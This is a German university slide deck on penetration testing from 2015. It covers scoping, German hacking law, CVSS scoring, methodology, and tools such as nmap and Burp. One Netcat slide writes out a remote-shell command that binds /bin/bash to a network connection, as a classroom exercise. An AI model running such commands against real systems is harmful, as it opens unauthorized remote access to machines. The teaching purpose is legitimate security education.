Upload
others
View
0
Download
0
Embed Size (px)
Citation preview
Daniel Schalberger, SySS GmbH
1 März 2015 Penetration Testing
Daniel Schalberger, SySS GmbH
Penetration Testing
Daniel Schalberger, SySS GmbH
2 März 2015 Penetration Testing
Dipl. Inform. Daniel Schalberger
Studium in Tübingen (Informatik, Mathe, BWL)
Seit 1999 selbstständig in den Bereichen
• Software-Entwicklung
• Web-Development
• IT-Beratung
Seit 2012 IT-Security Consultant bei der SySS GmbH
Daniel Schalberger, SySS GmbH
3 März 2015 Penetration Testing
Tag 1: Grundlagen
• Gestaltungsmöglichkeiten • Testmodule • Abschätzung des Testaufwands • Bewertung von Ergebnissen und Dokumentation • Nachverfolgung von Schwachstellen • ethische und Rechtliche Aspekte • Penetration Testing Standards • Hacking-Grundlagen (Footprinting, Portscanning,
Enumeration, Sniffing)
Daniel Schalberger, SySS GmbH
4 März 2015 Penetration Testing
Tag 2: Webapplikation Hacking
• Schwachstellen in Webapplikationen
• HTTP-Protokoll
• OWASP Top 10
• Cross-Site Scripting
• SQL Injection
• Session Hijacking
• Verschlüsselung
Daniel Schalberger, SySS GmbH
5 März 2015 Penetration Testing
Tag 3: Windows-Hacking
• Umgang mit Metasploit
• Angriffe gegen Windows-Netzwerke
• Privilege Escalation
• Backdoors
• Angriffe gegen Passwörter
Daniel Schalberger, SySS GmbH
6 März 2015 Penetration Testing
Tag 4: WLAN Hacking
• Grundlagen der WLAN-Technologie
• WLAN-Sniffing
• Sicherheitsansätze des 802.11 Standards
• Erweiterung des 802.11 Standards
• Authentifizierung in 802.11i
• Funktionsweise der Verschlüsselungsmechanismen
• WLAN-Hacking
Daniel Schalberger, SySS GmbH
7 März 2015 Penetration Testing
Tag 5: Exploit Development
• Exploit Development
• Prozessorarchitektur
• Grundlagen 80x86-Assembler
• Werkzeuge (Debugger & Co.)
• Stack-based Buffer Overflow
Daniel Schalberger, SySS GmbH
8 März 2015 Penetration Testing
Begriffe
Schwachstellenscan: automatisierte Suche nach Schwachstellen
Penetrationstest: Angriff auf ein System mit dem Ziel, dort einzudringen. Auch Einsatz manueller Methoden. Ausnutzen gefundener Schwachstellen
Audit: Prüfung auf konzeptioneller Ebene (Interviews, Prozesse, etc.)
Daniel Schalberger, SySS GmbH
9 März 2015 Penetration Testing
Hacken ist illegal! Strafgesetzbuch: § 202 (Verletzung des Briefgeheimnisses)
§ 202a: Ausspähen von Daten § 202b: Abfangen von Daten § 202c: Vorbereiten des Ausspähens und Abfangens von Daten (sog. Hackerparagraph)
§ 303 (Sachbeschädigung)
§ 303a Datenveränderung § 303b Computersabotage
Daniel Schalberger, SySS GmbH
10 März 2015 Penetration Testing
§ 202a: Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und die gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft. (2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.
Daniel Schalberger, SySS GmbH
11 März 2015 Penetration Testing
§ 202b: Abfangen von Daten
Wer unbefugt sich oder einem anderen unter Anwendung von technischen Mitteln nicht für ihn bestimmte Daten (§ 202a Abs. 2) aus einer nichtöffentlichen Datenübermittlung oder aus der elektromagnetischen Abstrahlung einer Datenverarbeitungsanlage verschafft, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe bestraft, wenn die Tat nicht in anderen Vorschriften mit schwererer Strafe bedroht ist.
Daniel Schalberger, SySS GmbH
12 März 2015 Penetration Testing
§ 202c: Vorbereiten des Ausspähens und Abfangens von Daten
(1) Wer eine Straftat nach § 202a oder § 202b vorbereitet, indem er 1. Passwörter oder sonstige Sicherungscodes, die den Zugang zu Daten (§ 202a Abs. 2) ermöglichen, oder 2. Computerprogramme, deren Zweck die Begehung einer solchen Tat ist, herstellt, sich oder einem anderen verschafft, verkauft, einem anderen überlässt, verbreitet oder sonst zugänglich macht, wird mit Freiheitsstrafe bis zu einem Jahr oder mit Geldstrafe bestraft.
Daniel Schalberger, SySS GmbH
13 März 2015 Penetration Testing
Was brauchen wir?
GEMEINSCHAFTSKARTE Du kommst aus dem Gefängnis frei. Diese Karte muss behalten werden, bis sie gebraucht oder verkauft wird.
Daniel Schalberger, SySS GmbH
14 März 2015 Penetration Testing
Genehmigung
Für eine ordentliche Durchführung eines Penetrationstests sind im Vorfeld Genehmigungen aller Beteiligten Instanzen erforderlich.
• Inhaber von IP-Adresse (Provider)
• System-Inhaber
• Betreiber von Applikationen
• Betreiber der Datenbank
• usw.
Daniel Schalberger, SySS GmbH
15 März 2015 Penetration Testing
Gestaltungsmöglichkeiten
1. Informationsbasis
2. Aggressivität
3. Umfang
4. Vorgehensweise
5. Technik
6. Ausgangspunkt
Daniel Schalberger, SySS GmbH
16 März 2015 Penetration Testing
Informationsbasis
Testvariante Konsequenzen
Blackbox / Zero-Knowledge
• Kommt einem Angriff durch externe Hacker näher • Verbraucht Zeit für Ermittlung von Spezifikationen • Einige Angriffe erfordern Vorwissen
Greybox • Bevorzugter Mittelweg der SySS GmbH
Whitebox • Berücksichtigung des „Innentäter“-Szenarios / ehemaliger Mitarbeiter
• Einarbeitung in Spezifikationen erfordert Zeit • Aufdeckung von Risiken mit „Laborcharakter“
Daniel Schalberger, SySS GmbH
17 März 2015 Penetration Testing
Aggressivität
Testvariante Konsequenzen
passiv • kein Ausnutzen von Schwachstellen, minimales Risiko
vorsichtig • Ausnutzung von Schwachstellen, wenn davon i.d.R. keine Gefahr ausgeht
abwägend • Abwägung Risiko vs. Erfolgswahrscheinlichkeit. Z.B: durchprobieren von Passwörtern
aggressiv • hohes Risiko (Ausfall vieler Komponenten möglich) • hoher Erkenntnisgewinn • z.B. Ausnutzung von Buffer-Overflow-
Schwachstellen bei nicht eindeutig identifizierten Zielen
Daniel Schalberger, SySS GmbH
18 März 2015 Penetration Testing
Umfang
Testvariante Konsequenzen
fokussiert • Prüfung einzelner Systeme, Z.B. bei Erweiterung der Systemlandschaft
• geringer Erkenntnisgewinn: neue Systeme sind häufig sehr sicher
begrenzt • Beschränkung auf bestimmt Systemgruppen / Repräsentanten
vollständig • hoher Erkenntnisgewinn • evtl. lange Testdauer
Daniel Schalberger, SySS GmbH
19 März 2015 Penetration Testing
Vorgehensweise
Testvariante Konsequenzen
verdeckt • nur ein minimaler Personenkreis weiß über den Test Bescheid
• Prüfung sekundärer Sicherheits-Systeme / Eskalations-Prozeduren
• vorsichtige Tests (Stealth)
offensichtlich • gesteigerte Effizienz durch Automatisierung • schnellere Reaktion auf mögliche Probleme (DoS)
Daniel Schalberger, SySS GmbH
20 März 2015 Penetration Testing
Technik
Testvariante Konsequenzen
Netzwerk • entspricht typischem Hackerangriff
Physischer Zugriff • Erleichtert z.B. Sniffen, Umgehung von Firewalls, Angriffe über Schnittstellen (USB, Firewire)
Social Engineering • oft ist der Mensch das schwächste Glied • ethische Überlegungen berücksichtigen
Daniel Schalberger, SySS GmbH
21 März 2015 Penetration Testing
Ausgangspunkt
Testvariante Konsequenzen
von außen • Test der DMZ (Webserver, Mailserver, VPN, etc.) • wenig Systeme mit wenig offenen Ports • vollständige Betrachtung aller Dienste möglich
von innen • Zugriff auf Systeme ohne Firewalls • viele Systeme mit vielen offenen Ports • eher stichprobenhaft • Netzwerkverkehr kann mit analysiert werden • Bildet Putzpersonal- / Praktikanten-Szenario ab
Daniel Schalberger, SySS GmbH
22 März 2015 Penetration Testing
5 Phasen eines Pentests
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
23 März 2015 Penetration Testing
Phase 1: Vorbereitung
• Rahmenbedingungen schaffen
• Ziele Definieren
• Module auswählen
• Aufwand abschätzen
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
24 März 2015 Penetration Testing
Rahmenbedingungen Diskussion wichtiger Fragen: Wer ist, abgesehen von dem Auftraggeber, vom Penetrationstest betroffen? Genehmigungen einholen! Was ist bezüglich des Durchführungszeitraumes zu beachten? Welchen Aufwand bedeutet der Pentest für den Auftraggeber? Wieviel Vorlauf ist erforderlich? Welche Mitarbeiter des Auftraggebers sind durch den Penetrationstest betroffen? Wer kann Zugangsberechtigungen bereitstellen?
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
25 März 2015 Penetration Testing
Rahmenbedingungen 2 Was ist im Falle einer Störung / eines Notfalls zu tun? Zum Beispiel • Totalausfall des Systems • Teilausfall von bestimmten Subsystemen • falsche Antworten des Systems • stark gestiegenen Antwortzeiten des
Systems • eingeleitete Gegenmaßnahmen bei
einem verdeckten Penetrationstest • Angriffe Dritter gegen das System
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
26 März 2015 Penetration Testing
Auswahl der Testmodule • KICK: Kickoff-Workshop • PERIM: Perimetererkennung • INTERNET: Analyse aus dem Internet • WEBAPP: Prüfung von Webapplikationen • WEBSERVICE: Prüfung von Webservices • LAN/WAN: Sicherheitstests im Internen Netz • MOBILE: Prüfung von APPs / MDM-Lösungen • WLAN: Test von WLAN-Netzwerken • PIVOT: Kompromittierte DMZ • PRODUCT: Produkt- / Labortests • DOCU: Dokumentation
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
27 März 2015 Penetration Testing
Aufwandsabschätzung
Überlegungen die in die Aufwandsabschätzung einfließen:
• Zielsetzung und Umfang des Penetrationstests
• Größe der zu testenden Infrastruktur
• Komplexität der zu testenden Infrastruktur
• Schutzbedarf der verarbeiteten Daten
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
28 März 2015 Penetration Testing
Phase 2: Informationsbeschaffung
• Auswertung bereits bekannter Informationen
• Host Discovery
• Portscans
• Banner Grabbing
• Service Enumeration (SNMP, NetBIOS, …)
• Schwachstellenscan
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
29 März 2015 Penetration Testing
Phase 3: Bewertung der Informationen
• Ziele für manuelle Angriffe auswählen
• Aufwand und Erfolgschancen abwägen (unter wirtschaftlichen Gesichtspunkten)
• Setzen von Prioritäten
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
30 März 2015 Penetration Testing
Phase 4: Aktive Eindringversuche
• Ausnutzung gefundener oder vermuteter Schwachstellen
• mit hohem Risiko für die getesteten Systeme verbunden
• Dokumentation aller Angriffsversuche
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
31 März 2015 Penetration Testing
Phase 5: Abschlussanalyse Am Ende stehen: Abschlussgespräch / -präsentation / -bericht Der Abschlussbericht sollte enthalten: • Durchgeführte Angriffe und gefundene
Schwachstellen in nachvollziehbarer Form (Screenshots, Programmausgaben etc.)
• Bewertungen der gefundenen Schwachstellen • Empfehlungen, wie die Schwachstellen
beseitigt werden können • Aktionsplan, Priorisierung
1. Vorbereitung
2. Informationsbeschaffung
3. Bewertung der Inform.
5. Abschlussanalyse
4. Aktive Angriffe
Daniel Schalberger, SySS GmbH
32 März 2015 Penetration Testing
Daniel Schalberger, SySS GmbH
33 März 2015 Penetration Testing
Klassifizierung von Schwachstellen
Klassifizierung erforderlich
• Vergleichbarkeit
• Priorisierung
Typische Fragen:
• „Wie gut sind wir?“
• „Wie sind wir im Vergleich mit anderen?“
• „Wie ist der Trend unserer Sicherheit?“
Daniel Schalberger, SySS GmbH
34 März 2015 Penetration Testing
Common Vulnerability Scoring System (CVSS)
• Bewertungssystem für Sicherheitslücken
• Bewertung nach Fakten, kein (wenig) Interpretationsspielraum
• Vergleichbarkeit von Schwachstellen
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
Daniel Schalberger, SySS GmbH
35 März 2015 Penetration Testing
CVSS-Berechnung
Exploitability = 20* Zugriff * Schwierigkeit * Anmeldung
Impact = 10.41*(1-(1-ConfImpact)*(1-IntegImpact)*(1-AvailImpact))
f(impact)= 0 if Impact=0, 1.176 otherwise
BaseScore = round_to_1_decimal(((0.6*Impact)+(0.4*Exploitability)-1.5)*f(Impact))
(Zahl zwischen 0 und 10)
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
Daniel Schalberger, SySS GmbH
36 März 2015 Penetration Testing
CVSS: Beispiel 1 – unverschlüsseltes FTP
CVSS Base Score: 2.4
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
Daniel Schalberger, SySS GmbH
37 März 2015 Penetration Testing
CVSS: Beispiel 2 – FTP mit SSLv2-Unterstützung
CVSS Base Score: 5.0
Ausnutzbarkeit Stufen
Zugriff (Access Vector)
lokal (0.395) lokales Netz (0.646) Internet (1.0)
Schwierigkeit (Access Complex.)
hoch (0.35) mittel (0.61) gering (0.71)
Anmeldung (Authentication)
mehrfach (0.45) einfach (0.56) ohne (0.704)
Auswirkung Stufen
Vertraulichkeit (Confidentiality)
keine (0.0) teilweise (0.275) vollständig (0.660)
Integrität (Integrity)
keine (0.0) teilweise (0.275) vollständig (0.660)
Verfügbarkeit (Availablility)
keine (0.0) teilweise (0.275) vollständig (0.660)
Daniel Schalberger, SySS GmbH
38 März 2015 Penetration Testing
CVSS: Fazit
• Problem 1: Abschalten der Verschlüsselung minimiert CVSS-Score
• Problem 2: Es bleibt Interpretationsspielraum
• Daher: weitere „Verbesserungen“:
– CVSS Temporal Score
– CVSS Environmental Score
Daniel Schalberger, SySS GmbH
39 März 2015 Penetration Testing
Einfache Klassifizierung
Risikoklasse Beschreibung
Hohes Risiko Es gelingt Zugriff auf Daten, auf die nicht zugegriffen werden darf. Nicht berücksichtigt ist die Werthaltigkeit der betroffenen Daten
Mittleres Risiko Sicherheitslücken, die erst zusammen mit weiteren, auch menschlichen, Komponenten geeignet sind, einen Sicherheitsvorfall zuzulassen
Niedriges Risiko Schwächen, die keine Änderung oder Einsichtnahme durch nicht authentisierte Angreifer zulässt Ausnutzung nur theoretisch / Laborcharakter
Information Leaks Preisgabe von Informationen, die weitere Angriffe erleichtern: Versionsinformationen, Benutzernamen etc.
Daniel Schalberger, SySS GmbH
40 März 2015 Penetration Testing
Nachverfolgung von Schwachstellen
Ein Penetrationstest stellt immer nur eine Momentaufnahme dar
IT-Umgebungen altern, dabei geht i.d.R. Sicherheit verloren
Daher:
• Nachtests
• Regelmäßige Prüfungen
• Langfristige Testpläne
Daniel Schalberger, SySS GmbH
41 März 2015 Penetration Testing
Vergleichbarkeit von Prüfungen
Ergebnisse nur bedingt miteinander vergleichbar:
• Prüfmethoden ändern sich
• Subjektivität (Ergebnis kann vom Prüfer abhängen)
• IT-Landschaft verändert sich
• Neue Schwachstellen werden entdeckt (z.B. 2014 Heartbleed und Shellshock)
Daniel Schalberger, SySS GmbH
42 März 2015 Penetration Testing
Penetration Testing Standards Ziele: • Einheitliches Vorgehen / Vergleichbarkeit von
Prüfungen • Wirtschaftliche Vorgehen • Nichts Wesentliches übersehen
OWASP (Open Web Application Security Project): Top 10 / Testing Manual OSSTMM (Open Source Security Testing Methodology Manual) BSI: Durchführungskonzept für Penetrationstests
Daniel Schalberger, SySS GmbH
43 März 2015 Penetration Testing
Ethische Fragen
• Ankauf von Exploits?
• Ankauf von Exploit-Sammlungen (z.B. Core Impact, Canvas, Metasploit)?
• Teilnahme an Hacker-Konferenzen?
• Sponsoring von Hacker-Konferenzen?
Daniel Schalberger, SySS GmbH
44 März 2015 Penetration Testing
Rechtliche Fragen
• Strafgesetzbuch
• Zugangskontrolldiensteschutzgesetz (ZKDSG)
– Umgehung von Schutzmaßnahmen
• Betriebsverfassungsgesetz (BetrVG)
– Mitspracherecht des Betriebsrats
• Telekommunikationsgesetz (TKG)
– Missbrauch von Sendeanlagen
– Abhörverbot
Daniel Schalberger, SySS GmbH
45 März 2015 Penetration Testing
Typische Probleme
• Geduldsspiele (System nicht erreichbar) • unpräziser Scope (mehr Systeme als erwartet,
andere Technologien) • Keine / Fehlerhafte Dokumentation • Unzureichende Netzwerkverbindung (langsames
VPN, instabile Firewall, gar keine Verbindung) • Falschaussagen von Administratoren,
manipulierte Programmausgaben • Aufforderung, ein Finding im Bericht zu
verändern
Daniel Schalberger, SySS GmbH
46 März 2015 Penetration Testing
selbst gemachte Probleme
• unklarer Scope („Darf ich das eigentlich?“)
• fehlende Vorbereitung / fehlendes Equipment (Kabel, Adapter, Tools)
• zu starres Vertrauen auf Scripts, Scanner, Checklisten
• Aufnahme von False Positives in den Bericht
• Unpräziser / nicht nachvollziehbarer Bericht
• Nichteinhaltung von Zusagen (z.B. Berichts-Deadline, Verzicht auf automatisierte Tools)
Daniel Schalberger, SySS GmbH
47 März 2015 Penetration Testing
Anforderungen • Kenntnisse von Betriebssystemen (Windows / Unix /
Linux) • Kenntnisse im Bereich TCP/IP und weiterer
Netzwerkprotokolle • Kenntnisse aktueller Schwachstellen • Kenntnisse im Bereich Programmiersprachen • Kenntnisse im Bereich von IT-Sicherheitsprodukten • Kenntnisse in der Handhabung von Hackertools • Kenntnisse im Bereich IT-Sicherheit • Kreativität • Verantwortungsbewusstsein
Daniel Schalberger, SySS GmbH
48 März 2015 Penetration Testing
Teil 2
Praktisches Hacking
Daniel Schalberger, SySS GmbH
49 März 2015 Penetration Testing
Vorlesungs-Umgebung • Kali-Linux Linux-Distribution für Pentester Diverse nützliche Werkzeuge (Nmap, Wireshark, Burp Suite, Metasploit, Sqlmap, …) sind schon enthalten
• Windows XP Wird erst später benötigt • erstmal Snapshots machen!
Daniel Schalberger, SySS GmbH
50 März 2015 Penetration Testing
Virtualbox einrichten
• Zuweisen einer neuen MAC-Adresse für beide Maschinen
• Einstellen des Netzwerks: Netzwerkbrücke auf WLAN-Interface
• Test: Anpingen der Maschinen
Daniel Schalberger, SySS GmbH
51 März 2015 Penetration Testing
Hacking-Methodologie
(aus „Hacking Exposed“, McGrawHill 2010)
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
52 März 2015 Penetration Testing
Footprinting Ermittlung von • IP-Adressen • Domain-Namen • E-Mail-Adressen
Werkzeuge: Whois-Datenbank, Suchmaschinen, DNS-Zonentranfer, … In der Praxis häufig lediglich Abgleich der vom Kunden übermittelten Informationen mit anderen Quellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
53 März 2015 Penetration Testing
Scanning
• Aktive Systeme finden (Host Discovery)
• Aktive Dienste finden (TCP – und UDP-Portscan)
• Dienste identifizieren
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
54 März 2015 Penetration Testing
Host Discovery Ping Sweep • ICMP Echo Requests • sehr schnell • Problem: System antwortet nicht auf
Ping (Firewall)
Alternative: Portscan • zuverlässig • dauert länger • Mittelweg: nur wenige Ports scannen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
55 März 2015 Penetration Testing
Portscan
Systematisches Verbinden mit (allen) Ports 1. Manueller Portscan > telnet IP-Adresse 80
2. Mit Programm (Portscanner): z.B. Nmap, Unicornscan
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
56 März 2015 Penetration Testing
Well-Known-Ports
• Es gibt standardisierte TCP-Portnummern, auf denen in der Regel jeweils ein bestimmter Dienst läuft:
21: FTP
22: SSH
53: DNS
80: HTTP
443: HTTPS
445: SMB
3306: MySQL
3389: Remote Desktop
usw…
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
57 März 2015 Penetration Testing
Exkurs: Netcat
Verbindung aufbauen:
> nc –v IP Port#
Übung: Scannen Sie ein System im lokalen Netz mit Netcat auf offene Ports (Ports 21, 22, 80, 443)
Listener aufmachen:
> nc –lvp Port#
Remote-Shell:
1. Listener aufmachen
2. > nc –ve /bin/bash IP Port#
Übung: Bauen Sie mit Ihrem Nebensitzer eine Remote Shell
Daniel Schalberger, SySS GmbH
58 März 2015 Penetration Testing
Exkurs: Wireshark
Netzwerk-Sniffer • Aufzeichnung von Netzwerk-Verkehr • automatische Analyse hunderter Protokolle • Kann keine Verschlüsselung knacken • Capture- und Display-Filter
– tcp.port == 443 – http – ip.addr == 192.168.1.1
Übung: Rufen Sie eine Webseite über HTTP und HTTPS auf und betrachten Sie den Verkehr in Wireshark
Daniel Schalberger, SySS GmbH
59 März 2015 Penetration Testing
Der Portscanner Nmap > nmap hosts
Standard-Verhalten: 1. Ping-Sweep 2. Syn-Scan aller als aktiv erkannten Hosts
auf 1.000 Ports Connect-Scan: > nmap -sT hosts
Portscan ohne Ping: > nmap -PN hosts
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
60 März 2015 Penetration Testing
Enumeration
Ermittlung weiterer Informationen:
• Versionsstand von Software
• Installierte Patches
• Betriebssystem
• Benutzerkonten
• Laufende Dienste
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
61 März 2015 Penetration Testing
Weitere Nmap-Funktionen Versions-Scan: > Nmap –sV hosts
Betriebssystem-Erkennung > Nmap –O hosts
Script-Scan > Nmap –sC hosts
Übung: Scannen Sie zwei Systeme im lokalen Netz. Versuchen Sie mit Hilfe von Nmap, so viele Informationen wie möglich zusammenzutragen.
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
62 März 2015 Penetration Testing
Interessante Informationsquellen
• Service-Banner
• SNMP (Default Community Strings)
• SMTP (Benutzer-Enumeration)
• DNS (Hostnamen)
• Windows-Null-Sessions (Benutzernamen, System-Konfiguration)
• LDAP (Benutzernamen)
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
63 März 2015 Penetration Testing
Security-Scanner
Automatische Prüfung von Systemen oder Applikationen auf bekannte Schwachstellen
z.B. Nessus, Saint, OpenVAS, Nexpose
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
64 März 2015 Penetration Testing
Beispiel: Nessus-Scan
Daniel Schalberger, SySS GmbH
65 März 2015 Penetration Testing
Zugriff erlangen
Ausnutzung vom Schwachstellen, z.B.: • Veraltete Software • Default-Passwörter / schlechte
Passwörter • Fehlerhafte Berechtigungen • überflüssige Dienste • ungeschützte
Administrationsoberflächen • Klartext-Protokolle • Applikations-Schwachstellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
66 März 2015 Penetration Testing
Firewall
Web Application Hacking
Datenbank
Webserver
Authentication Service
Application Server
Webservice
Daniel Schalberger, SySS GmbH
67 März 2015 Penetration Testing
Firewall
Web Application Hacking
Datenbank
Webserver
Authentication Service
Application Server
Webservice
XSS
SQL Injection
XML Injection
Passwort-Angriffe
Sniffing
Click-jacking
Buffer Overflow
Unsicherer Objektzugriff
Directory Traversal
XSRF
Open Redirection
Daniel Schalberger, SySS GmbH
68 März 2015 Penetration Testing
HTTP
• Zustandsloses Protokoll
• Klartext-Übermittlung, auch von Zugangsdaten (z.B. Basic Authentication)
• Client schickt Anfrage (Request)
• Server schickt Antwort (Response)
• Request-Methoden (GET, POST, HEAD, PUT, DELETE, LINK,
OPTIONS, PROFIND, …)
• Statuscodes
Daniel Schalberger, SySS GmbH
69 März 2015 Penetration Testing
HTTP GET
• Alle Parameter werden als Teil der URL übermittelt
GET /login.php?name=peter&pass=123 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/4.0
Daniel Schalberger, SySS GmbH
70 März 2015 Penetration Testing
HTTP POST
• Alle Parameter werden als Teil des Bodys übermittelt
POST /login.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/4.0
Content-Length: 19
name=peter&pass=123 Request Body
Request Header
Daniel Schalberger, SySS GmbH
71 März 2015 Penetration Testing
HTTP Status Codes Code Bedeutung
200 OK Standard-Antwort
301 Moved Permanently Umleitung
302 Found Temporäre Umleitung
401 Unauthorized fehlende Zugangsdaten
403 Forbidden keine Berechtigung
404 Not found Datei/Verzeichnis nicht vorhanden
500 Internal Server Error Schwerwiegender Fehler / Indikator für Verwundbarkeit?
Daniel Schalberger, SySS GmbH
72 März 2015 Penetration Testing
HTTP Proxy • HTTP ist zustandslos --> Timing i.d.R. unkritisch • Analyse von HTTP-Verkehr mit Proxy • Typische Features
– Anfragen anzeigen / manipulieren – Antworten anzeigen / manipulieren – HTTPS aufbrechen
• Programme: Burp-Suite, ZAP, W3AF, TamperData • Burp:
– Proxy – Intruder – Decoder – Sequencer – …
Übung: Machen Sie sich mit dem Angriffsproxy Burp Suite vertraut
Daniel Schalberger, SySS GmbH
73 März 2015 Penetration Testing
Informationen sammeln • die eingesetzte Serversoftware • die Funktionen der Webapplikation • die Sitzungsverwaltung • eingesetzte Technologien (XML, AJAX, JSON, HTML5,
etc.) • welche GET- und POST-Parameter verwendet werden • welche GET- und POST-Parameter für eine Transaktion
notwendig sind • wo Weiterleitungen zum Einsatz kommen • Datei- / Verzeichnisnamen (DirBuster) • robots.txt
Daniel Schalberger, SySS GmbH
74 März 2015 Penetration Testing
Robots.txt
• Welche Dateien oder Verzeichnisse sind durch WebCrawler zu ignorieren?
Beispiel 1:
# Zugriff auf alle Dateien erlauben
User-agent: *
Disallow:
Daniel Schalberger, SySS GmbH
75 März 2015 Penetration Testing
Robots.txt – Beispiel 2: # robots.txt for http:www.focus.de .
# Gibt an, welche Unterverzeichnisse nicht durch Crawler durchsucht werden sollen
User-agent: Mediapartners-Google
Disallow:
User-agent: Googlebot-Mobile
Disallow: /
User-agent: *
Disallow: /ERRORS/ # Fehler-Seiten
Disallow: /test/ # Test-Seiten
Disallow: /test1/ # Test-Seiten
...
Disallow: /GLOBPICS/ # allg. Grafiken
Disallow: /intern/service/suche/ # Sucheergebnisse raus
Disallow: /service/suche/ # Sucheergebnisse raus
Disallow: /service/archiv/ # Sucheergebnisse raus
Disallow: /suche/ # Sucheergebnisse raus
Disallow: /panorama/welt/playboy_aid_119773.html
Daniel Schalberger, SySS GmbH
76 März 2015 Penetration Testing
Robots.txt – Beispiel 3:
User-agent: *
Disallow: /test.php
Disallow: /phpMyAdmin-2.11.3-german
Disallow: /admin
Wo liegt hier das Problem?
Daniel Schalberger, SySS GmbH
77 März 2015 Penetration Testing
Formaler Ansatz: OWASP
Open Web Application Security Project • OWASP Top 10 (alle 3 Jahre, aktuell 2013)
– Katalog der Top 10 Web-Schwachstellen (gemessen an Verbreitung und Auswirkung)
• OWASP Testing Guide (aktuell v4) – Leitfaden, wie Web-Schwachstellen zu testen sind – geht weit über Top10 hinaus
